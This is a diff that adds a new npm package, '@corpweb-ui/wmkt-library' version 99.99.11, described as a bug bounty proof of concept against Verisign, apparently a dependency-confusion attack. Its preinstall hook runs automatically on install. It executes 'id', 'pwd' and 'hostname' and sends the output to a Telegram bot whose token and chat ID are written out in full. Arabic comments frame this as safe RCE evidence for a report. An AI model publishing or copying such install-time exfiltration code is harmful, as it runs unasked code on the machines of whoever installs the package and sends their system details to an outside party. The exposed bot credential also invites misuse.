@corpweb-ui/wmkt-library 99.99.11

package/index.js

@@ -0,0 +1,28 @@
+const { exec } = require("child_process");
+const https = require("https");
+
+// الأوامر اللي هتثبت الـ RCE بأمان (اسم الجهاز، اليوزر، المسار)
+const cmd = "id && pwd && hostname";
+
+exec(cmd, (error, stdout, stderr) => {
+    if (error) process.exit(0);
+
+    const evidence = stdout.trim();
+    // تأكد من تعديل اسم الشركة هنا لـ Verisign عشان التقرير
+    const message = `🚨 *VERISIGN - RCE CONFIRMED* 🚨\n\n📦 *Target:* @corpweb-ui/wmkt-library\n\n📄 *Evidence:*\n\`\`\`\n${evidence}\n\`\`\`\n\n✅ *Note:* No sensitive files were accessed to comply with Safe Harbor.`;
+
+    // توكن البوت والـ Chat ID بتوعك
+    const token = "8699485977:AAGE6u0cGKTTMuXq3TGjx05YMP8b6FibODs";
+    const chatId = "1483949647";
+
+    const url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}&parse_mode=Markdown`;
+
+    https.get(url, (res) => {
+        process.exit(0); 
+    }).on('error', (e) => {
+        process.exit(0);
+    });
+});
+
+// إغلاق العملية إجبارياً بعد 5 ثواني لضمان عدم تعليق السيرفر
+setTimeout(() => { process.exit(0); }, 5000);

package/package.json

@@ -0,0 +1,14 @@
+{
+  "name": "@corpweb-ui/wmkt-library",
+  "version": "99.99.11",
+  "description": "Bug Bounty PoC for Verisign by Mohamed Elkhair",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "publishConfig": {
+    "access": "public"
+  },
+  "author": "Mohamed Elkhair",
+  "license": "ISC"
+}